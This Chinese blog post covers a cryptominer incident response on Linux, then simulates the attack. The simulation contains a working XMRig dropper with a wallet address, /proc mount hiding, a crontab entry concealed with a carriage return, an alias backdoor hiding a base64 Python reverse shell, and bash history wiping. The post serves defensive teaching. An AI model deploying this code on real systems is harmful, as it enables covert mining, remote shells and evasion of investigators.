干货分享 | 记一次挖矿木马+隐藏后门应急分析(建议收藏)

华盟原创文章投稿奖励计划

前言

包含一下知识:

应急响应

背景

一天,客户反馈服务器莫名其妙突然卡顿、风扇狂转,但是查看 cpu 占用率却都不高,请你上机排查!

查看 cpu 占用率

top -c 

但是发现 cpu 占用率都不高

自动草稿

查看网络连接

netstat -anpt 

自动草稿

发现可以连接,IP:43.129.150.140

对该 ip 进行威胁情报关联分析,发现该 ip 被微步标记为矿池

自动草稿

但是看不到进程信息,怀疑使用了目录挂载

解除目录挂载

查看所有目录挂载

cat /proc/$$/mountinfo 

自动草稿

发现可疑挂载,使用以下命令解除挂载

umount /proc/59919 

再次查看 cpu

自动草稿

查看网络连接

自动草稿

查看进程信息

自动草稿

发现隐藏目录,包含恶意程序

计划任务

干掉恶意进程,并删除文件

自动草稿

查看 cpu 占用率正常

但是没过一会,服务器又开始卡顿、风扇狂转

自动草稿

猜测存在计划任务,但是 crontab -l 命令没查到

自动草稿

想到可能是隐藏了,解决:

cat -A /var/spool/cron/crontabs/root 

自动草稿
查看恶意脚本

自动草稿

删除即可

隐藏后门

发现莫名其妙会出现一些外链的请求

自动草稿

查看历史命令业务异常

history 

使用查看 alias 命令查看也无异常

自动草稿

再一次连接之后排查

image.png

发现执行了一个恶意的 python 脚本

自动草稿

搜索后发现在 release-upgrade 文件,修改了 ls 命令

自动草稿

发现 .bashrc 文件

自动草稿

找一个初始的文件对比发现多了 5 行

自动草稿

删除、删除 release-upgrade 文件、重启

XMR挖矿攻击模拟

模拟攻击流程

SSH 爆破

自动草稿

上挖矿马

下载

wget https://download.c3pool.org/xmrig_setup/raw/master/xmrig.tar.gz 

解压

tar -zxvf xmrig.tar.gz 

解压后我们得到俩个文件,一个是 xmrig 主程序,一个是 config. Json 配置文件。

配置

输入:vim config.json 打开 config. Json 文件,将 YOUR_WALLET_ADDRESS 修改成你的钱包地址

"user""YOUR_WALLET_ADDRESS", "pass""x", 

运行

./xmrig  #后台启动 nohup ./xmrig & 

自动草稿

进程隐藏

目录挂载

未隐藏之前

自动草稿

自动草稿
目录挂载

mkdir /tmp/.k/null  mount --bind /tmp/.k/null /proc  

自动草稿自动草稿

计划任务

添加计划任务使其可以开机自启,删除后恢复
1.sh

#!/bin/bash  if [ ! -f "/tmp/.k/xmrig" ]; then     mkdir /tmp/.k     cd /tmp/.k     wget https://download.c3pool.org/xmrig_setup/raw/master/xmrig.tar.gz     tar -zxvf xmrig.tar.gz     sed -i 's/YOUR_WALLET_ADDRESS/45cuh6v7YDkdL9gTEkfffQ1rfoA6NitH9huwWUVjZnqCGXB9TrPGPK2D3UgLwMXtf1SCkNwuDNFZZWzCkgnesarBK9MDkJh/' /tmp/.k/config.json     mkdir /tmp/.k/null     nohup /tmp/.k/xmrig & fi  sleep 3  if pgrep -x "xmrig" then     pid=$(pgrep -x xmrig)     mount --bind /tmp/.k/null /proc/$pid fi  

2.sh

(crontab -l;printf "* * * * * /tmp/.s/1.sh;\rno crontw_wab for `whoami` %100 c\n")|crontab - 
#上传脚本运行  mkdir /tmp/.s cd /tmp/.s  chmod 7771.sh chmod 7772.sh  ./2.sh 

效果:crontab -l ,必须 cat -A 或者 vimvi 才能看到

自动草稿

持久化后门

/etc/update-manager/ 目录下

自动草稿

新建迷惑性文件 release-upgrade

touch release-upgrade 

放入恶意命令

alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xOTkuMSIsIDk5OTkpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgp'\'')))";};alerts'  alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'  alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts' 

追加进 ~/.bashrc 文件

#enable software update with apt #See /etc/apt/source.d/ in the apt package. if [ -f /etc/update-manager/release-upgrade ]; then     . /etc/update-manager/release-upgrade fi  

清理痕迹

nl .bash_history  sed -i '10,$d' .bash_history 

XMR挖矿流量分析

Stratum 协议

矿池一般采用 Stratum 协议与挖矿主机进行交互通信,Stratum 协议是基于 JSON-RPC 2.0 封装的 TCP 通讯协议,在挖矿主机和矿池的交互过程中支持挖矿主机登记、任务下发、账号登录、结果提交和挖矿任务难度调整这五种行为。

XMR 挖矿流量分析

由于比特币主机挖矿效益与投入比的不断降低,使得攻击者转向更具挖矿效率优势的门罗币。门罗币可以使用 CPU 或 GPU 进行挖矿,具有隐蔽性强,灵活性高等特点,是挖矿木马的首选,平常实际遇见的挖矿木马挖取的加密货币也几乎都是门罗币。

其采用 jsonrpc 数据样例的格式进行通信

安装 tcpdump

apt-get install tcpdump 

捕获数据

捕获前 10000 个经过 ens 33 接口的数据包:

tcpdump -i ens33 -c 10000 -nn -w xmr_capture.pcap 

过滤分析

自动草稿

XMR 采用 Cryptonight 算法作为其工作量证明的哈希函数。当使用 XMRig 进行挖矿时,他所采用的 CryptoNight 算法可能会产生较多的网络流量,因为它需要频繁地与矿池通信以获取新的挖矿任务。各种挖矿程序在使用 Stratum 协议的数据格式都会稍有不同,包括 XMRig。但是它们都遵循 JSON-RPC 2.0 的规范。

矿机任务提交

这个就是 XMRig 挖矿客户端向矿池服务器提交挖矿工作的请求

{       "id"121,       "jsonrpc""2.0",       "method""submit",       "params": {           "id""50465107",           "job_id""51650811",           "nonce""cc210000",           "result""374de8..."     }   } 

矿池的成功响应

机矿成功提交挖矿工作后由矿池返回

{       "jsonrpc""2.0",       "id"110,       "error"null,       "result": {           "status""OK"     }   } 

矿池下发新任务

{       "method""job",       "params": {           "blob""1010a5...",           "algo""rx/0",           "height"3190425,           "seed_hash""78f693...",           "job_id""51724435",           "target""7d770100",           "id""50465107"     },       "jsonrpc""2.0" } 

总结

总的来说特征还是很明显的,基于 json 的流量,主要特征字段有 id,jsonrpc,method,params,job_id,nonce,result 等

参考

https://wxiaoge.blog.csdn.net/article/details/117472195
https://blog.csdn.net/laozhang338/article/details/131812201
https://www.cnblogs.com/smileleooo/p/18172605#%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90


原文首发在:奇安信攻防社区

https://forum.butian.net/share/3618

文章来源:渗透Xiao白帽

本文来源渗透Xiao白帽,经授权后由华盟君发布,观点不代表华盟网的立场,转载请联系原作者。

发表评论